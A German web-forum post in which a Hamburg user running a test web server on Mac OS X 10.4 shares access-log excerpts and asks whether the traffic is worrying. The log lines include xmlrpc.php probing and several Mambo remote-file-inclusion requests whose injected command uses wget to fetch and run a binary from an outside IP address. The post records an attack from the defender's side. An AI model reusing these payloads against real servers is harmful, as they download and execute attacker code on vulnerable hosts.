- Registriert
- 11.09.04
- Beiträge
- 104
Moin,
ich habe jetzt seit ein paar Tagen auf einen frisch installiertes System 10.4 einen Web Server laufen. Nur mal so zum testen, mit recht wenig Traffic über dyndns.org.
Beim durchschauen der Web-Logs sind mir zwei Sachen aufgefallen:
Ich könnte mir denken, daß hier jemand versucht, ein nicht vorhandenes Gästebuch oder Blog zuzumüllen.
Aber was könnte es hiermit auf sich haben? :
oder auch das?
Muss man sich darüber Sorgen machen, oder ist das der ganz normale Wahnsinn??
Gruß aus dem nebligen Hamburg
ich habe jetzt seit ein paar Tagen auf einen frisch installiertes System 10.4 einen Web Server laufen. Nur mal so zum testen, mit recht wenig Traffic über dyndns.org.
Beim durchschauen der Web-Logs sind mir zwei Sachen aufgefallen:
Code:
217.153.134.21 - - [11/Feb/2006:09:36:59 +0100] "POST /xmlrpc.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:00 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 291 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:02 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:03 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:04 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:05 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:06 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:08 +0100] "POST /xmlrpc.php HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:09 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:37:10 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
Ich könnte mir denken, daß hier jemand versucht, ein nicht vorhandenes Gästebuch oder Blog zuzumüllen.
Aber was könnte es hiermit auf sich haben? :
Code:
207.5.192.108 - - [12/Feb/2006:04:04:34 +0100] "GET /RUMtrol.html HTTP/1.1" 200 728 "http://us.f353.mail.yahoo.com/ym/ShowLetter?MsgId=8430_1528707_67232_1619_52_0_7849_-1_0&Idx=3&YY=40765&inc=25&order=down&sort=date&pos=0&view=a&head=b&box=Inbox" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
oder auch das?
Code:
217.153.134.21 - - [11/Feb/2006:09:36:54 +0100] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://213.97.113.25/cmd.gif?&cmd=cd%20tmp;wget%20213.97.113.25/giculz;chmod%20744%20giculz;./giculz;echo%20YYY;echo| HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:36:55 +0100] "GET /cache/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://213.97.113.25/cmd.gif?&cmd=cd%20tmp;wget%20213.97.113.25/giculz;chmod%20744%20giculz;./giculz;echo%20YYY;echo| HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:36:56 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://213.97.113.25/cmd.gif?&cmd=cd%20tmp;wget%20213.97.113.25/giculz;chmod%20744%20giculz;./giculz;echo%20YYY;echo| HTTP/1.1" 404 286 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
217.153.134.21 - - [11/Feb/2006:09:36:58 +0100] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://213.97.113.25/cmd.gif?&cmd=cd%20tmp;wget%20213.97.113.25/giculz;chmod%20744%20giculz;./giculz;echo%20YYY;echo| HTTP/1.1" 200 549 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
Muss man sich darüber Sorgen machen, oder ist das der ganz normale Wahnsinn??
Gruß aus dem nebligen Hamburg